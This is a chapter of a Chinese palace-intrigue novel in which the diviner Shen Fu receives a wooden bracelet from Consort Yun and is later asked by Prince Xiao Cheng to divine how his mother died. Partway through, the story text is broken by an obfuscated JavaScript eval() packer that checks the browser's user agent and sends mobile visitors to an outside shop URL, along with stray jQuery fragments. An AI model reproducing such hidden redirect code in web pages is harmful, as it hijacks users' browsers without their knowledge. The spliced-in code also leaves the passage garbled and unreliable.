32. 亭中密谈
    沈扶那日离去之后,本已做好了被皇帝责罚的准备。只要皇帝不将她逐出宫,任何惩罚沈扶都接受。然过去多日,皇帝不仅未召见沈扶,就连萧成,也消失了近数十日。

    于是沈扶便不再关心那些,升官之后,她接手主簿事宜,只一心操办祭天之事。

    此次祭天,沈扶乃是代皇帝问天之人,是以她十分重视,忙中有序,在将近月中之时,钦天监上下终于将祭天之事准备好了。

    沈扶得了半日的闲,在东宫用过午膳之后,她坐在廊下与阿蝶一起穿红豆。

    萧禹寄来的第一颗红豆已经被做进了耳坠里,耳坠样子样子简单,金钩之下有一镂空小方格,小方格内放着红豆,下方还坠着一直金蝴蝶,看上去大气雅致,十分漂亮。

    自第一封信送来红豆之后,萧禹后面送来的两封信里都带着红豆,沈扶让阿蝶将其中一颗做入耳坠之后,其余两颗,她便想取一颗放进另一只耳坠里,剩余一颗用一根红线穿起,戴在手上。

    阿蝶在匠作处学到了将红豆放入耳坠的法子,不过半个时辰,她便做好了另一只耳坠。

    “大人,耳坠做好了,红豆完好无损,您看看。”

    沈扶接过耳坠,素手抚过红豆,“红豆生南国。”

    阿蝶笑眯眯地看着沈扶道:“是呢,大人。奴婢长这么大,从未见过这般好品相的红豆,不知殿下是从何处寻来的。”

    沈扶带着笑意看了阿蝶一眼后,对着一旁的镜子戴上了那副耳坠。

    红豆衬得沈扶面色红润,阿蝶撑着下巴笑道:“大人如此美貌,纵是上佳的红豆在耳,也让人无暇分神去看呢。”

    阿蝶这般的语气,让沈扶想起箫禹来,她笑道:“不愧是殿下的人,跟着他时候久了,学得好一手油嘴滑舌的本事。”

    “才没有,阿蝶只是实话实说而已。”阿蝶笑道。

    沈扶笑了下,将那红绳穿着的红豆戴在手上,阿蝶又是好一番夸赞。

    沈扶同她玩闹了会儿后,便起身,唤了一旁的高力,准备前去云嫔宫中,为她的皇子祈福。

    “其实我跟大人就行,换差事之事不急。”阿蝶道。

    阿蝶算是东宫的掌事大宫女,每月都有固定的时候,上下安排东宫众人换差事。

    女子进后宫确实方便些,但沈扶这次有心让高力跟着去云嫔宫中一趟,去看看那廊下的铃铛,是否是后来人做的送愿铃。

    “殿下不在,东宫之事更要紧着些,万不可出乱子。”沈扶道:“无事,我知晓,你安心就是了。”

    “男子进后宫,容易遭人话柄,大人千万记得让高侍卫守在云嫔门外即可。”阿蝶拿过一旁的披风给沈扶穿上,叮嘱道:“晚间膳房给大人做新的羹汤,大人要记得早些回来。”

    沈扶道:“好。”

    二人一路出了东宫,路上沈扶与高力说了那送愿铃之事,走进云嫔的无暇殿,高力与沈扶对视一眼,便站在了无暇殿廊下,趁人不备之时,记下了廊下送愿铃的模样。

    殿内,云嫔倚着金丝软枕坐在窗边榻上,问沈扶道:“本宫总觉得在何处见过沈大人,沈大人从前师从何处?”

    沈扶收拾着占卜之物,说道:“娘娘谬赞,我并无师长,只凭着对占卜之术的一腔热爱,胡乱看了些书后,开窍罢了。”

    云嫔捂唇微笑,“沈大人心思果真玲珑,这般疏远的话,本宫听着一点都不冒犯。”

    沈扶行礼道:“娘娘言重了,沈扶不敢对您有所隐瞒。”

    “快起来。”云嫔挥手让一旁的宫女扶起沈扶,说道:“本宫是云莲人,喜欢上天变幻的每一片云彩,无论黑白彩色与否,是以陛下才赐予本宫云的封号。”

    沈扶眼睛微微睁大,云嫔问道:“本宫沈大人与廊下侍卫交谈之时,话中有些西北之处的口音。沈大人知道云莲县吗?”

    沈扶自然知道。

    神寨所在的深山属于百枂县城,百枂县一旁便是云莲县,两地间距不过几十里,口音也有相似之处。且云莲县城中,也有大半人学习占卜之术,虽不如神寨中人能与天对话,但也能预料些事。

    原来云嫔一直试探沈扶,而沈扶见云嫔也总有种莫名相斥之感。

    沈扶抿唇道:“回娘娘,臣知晓,我与兄长都是百枂人。”

    云嫔笑道:“百枂人人会占卜术,陛下又深信占卜之术可定国安邦,难怪沈大人能得陛下青眼。”

    “谢娘娘夸赞。”

    “本宫出门在外,见到同乡之人,难免觉得亲切。”云嫔道:“沈大人得空之时,可常来本宫这里坐坐,本宫看着沈大人,心绪总是开阔些。”

    沈扶抬头,与云嫔对视。

    云嫔眼中思乡的情绪显露不少,沈扶想起神寨,亦是感同身受。她心中防备去除不少,柔声道:“是,臣见娘娘也有同感。娘娘身在孕中,万万不可思虑过甚。”

    云嫔朝着沈扶伸出手,沈扶愣了下,还是上前握住了云嫔的手。

    云嫔轻轻拉起衣袖,将腕上刻了经文的木镯子从双手衔接之处,一路推到沈扶腕上,“这个送给沈大人。”

    沈扶手僵了下,云嫔却越握紧了沈扶,仰头说道:“沈大人收着吧。”

    古往今来,常言英雄难过美人关,沈扶今日算是领略了其中深意。

    云嫔相貌本就极美,媚眼柔情似能在下一刻挤出水来,我见犹怜的模样让沈扶无端想起萧禹,她实在说不出一声拒绝。

    沈扶点头道:“多谢娘娘。”

    云嫔微微扬唇,拍了拍沈扶的手。

    沈扶起身告辞,一直到出了无暇殿,她还在出神看着腕上的木镯子,连天上落雨,都没感觉到。

    高力见她出神,并未打扰,他换了只手拿着沈扶装占卜之物的箱子,拉着她的手臂,带她走近了最近处的亭子中。

    “阿扶,擦擦脸上的雨水。”高力从怀中摸出帕子,递给沈扶。

    “嗯,好。”

    沈扶回神,接过高力的帕子,擦过脸后,沈扶被腕上的镯子硌了下手。

    高力接过沈扶手中的湿帕子收进怀中,见沈扶一直盯着手腕,高力问道:“是云嫔娘娘送给你的吗?”

    沈扶看了高力一眼,伸手将那镯子取下来,递给高力道:“高力哥,你收着这镯子吧。”

    高力接过来,看了看后道:“看上去很是眼熟,做成镯子的木料,似乎是百枂才有神树之木。”

    沈扶走过去,坐在亭子里的石凳上,她拢了拢披风道:“云嫔娘娘说,她是云莲人。”

    高力站在她对面道:“云莲人多也会些浅显的占卜之术,若是深深研究过,倒也能说得通为何云嫔的廊下有送愿铃了。”

    “高力哥,你可看出那铃铛是何时所做吗?”

    高力道:“能,那送愿铃所用之物极新,晃动之时有微微响声,应当就是这几年间所做,且做送愿铃之人必定亲眼见过,摸过真正的送愿铃。”

    “云嫔认识神寨中人。”沈扶肯定地说。

    高力却摇摇头道:“未必。族长说过,神寨之中的送愿铃虽是世上最后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126352|135578||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个,但那送愿铃的来处,就是云莲。”

    亭外雨渐大,风吹细雨,斜着刮进亭子里。

    沈扶又开始深思,高力上前站在沈扶身后,微微撑开披风为她遮挡些风雨。

    半晌后,沈扶长叹一声,嗤笑道:“自爹娘和族人死后,我一听到与神寨有关之事,便总是这般想许多,许是我太过敏感了罢。”

    高力道:“未必不好。”

    “高力哥,你坐下歇会儿,我们雨停再回吧。”

    “无妨。”

    沈扶回头看了眼高力,到底没再劝,她从箱子里拿出一本书,本想安安静静看一会儿,却被亭外一人急匆匆的脚步声惊扰了。

    那人并未撑伞,独自一人跑进亭子里,气喘吁吁地站在沈扶面前。

    沈扶皱眉,抬头看去,只见萧成扶着石桌,断断续续说道:“沈大人……好久不见。”

    确实好久不见,距上次沈扶揍他,已过去将近半月有余,沈扶合上书,起身行礼道:“好久不见,七殿下。”

    萧成摆摆手,坐在沈扶对面说道:“上次长街之上,沈大人给我的教训,我回去好好反省一番,半月内读了百本书,得出一结论来。”

    沈扶坐下,“何结论?”

    萧成道:“对于沈大人这般凛然的女子来说,歪门邪道不可取,是以今日,我来与沈大人坦白一件事,还请沈大人听过之后,可以帮帮我。”

    萧成面色严肃,但配上这些话,便让人觉得好笑得很。

    沈扶毫不掩饰的噗嗤一笑,她道:“我以为这样的道理,不读书也该知道的。”

    萧成微微转头看向别处,不过片刻便又转回来,他直言道:“我母后乃是霓贵妃,她被皇贵妃推下水后溺水而亡,完全是谎言。恳请沈大人,帮我占卜我母后的死因到底为何!”

    沈扶微微愣住,她看着萧成眼中的坚定问道:“陛下亲自见仵作验尸,确定两位娘娘的死因,殿下缘何这般说?”

    萧成道:“我母后会游水,纵是怀有皇子,也不会溺死。”

    想起那日验尸之时,萧成并不在现场,沈扶道:“仵作当日验尸之时,曾说是皇贵妃在水下勒住霓贵妃的脖子,这般就算是会游水,娘娘小心腹中胎,也很难挣扎求生。”

    萧成闻言冷笑几声,恨意尽数表现在脸上,他道:“那大人可知,皇贵妃是不会游水的。敢问不会游水之人要害人,怎会选择在水中,又怎能压制住会游水之人!”

    沈扶有些震惊,然细思之后,问萧成道:“你所知这些,陛下怎会不知。若真是这般,为何陛下不下令细查?”

    皇帝如何重视皇子,众人都看在眼里。霓贵妃之死,并非只是两个妃子之间的事,尤其事关皇子,皇帝若知道,怎会放之不管。

    萧成道:“他知,却总把那些归之于诅咒,事后来补偿我这个儿子,何等荒谬!自从皇后薨逝之后,他就变得不像皇帝,优柔寡断,整日伤春悲秋,不理朝政,却还要时时约束太子,常言天命如何如何,简直等同昏君!宫中乱做一团,人人都能看出平静之下的暗潮,唯他高高在上,不食人间烟火!沈大人,你说我如何能信他,又如何能指望他,还我母后公道!”

    萧成一番话得泣血,上天似是应和他一般,白日逐渐被黑云遮挡,如夜幕降临,一丝闪电划过,云后闷雷响在头顶,不过咫尺之距。

    高力靠近沈扶几步,一手摸着身后剑,他的姿势是在防备萧成。

    沈扶看了眼亭外,又回头看向萧成,摇摇头道:“我帮不了殿下。”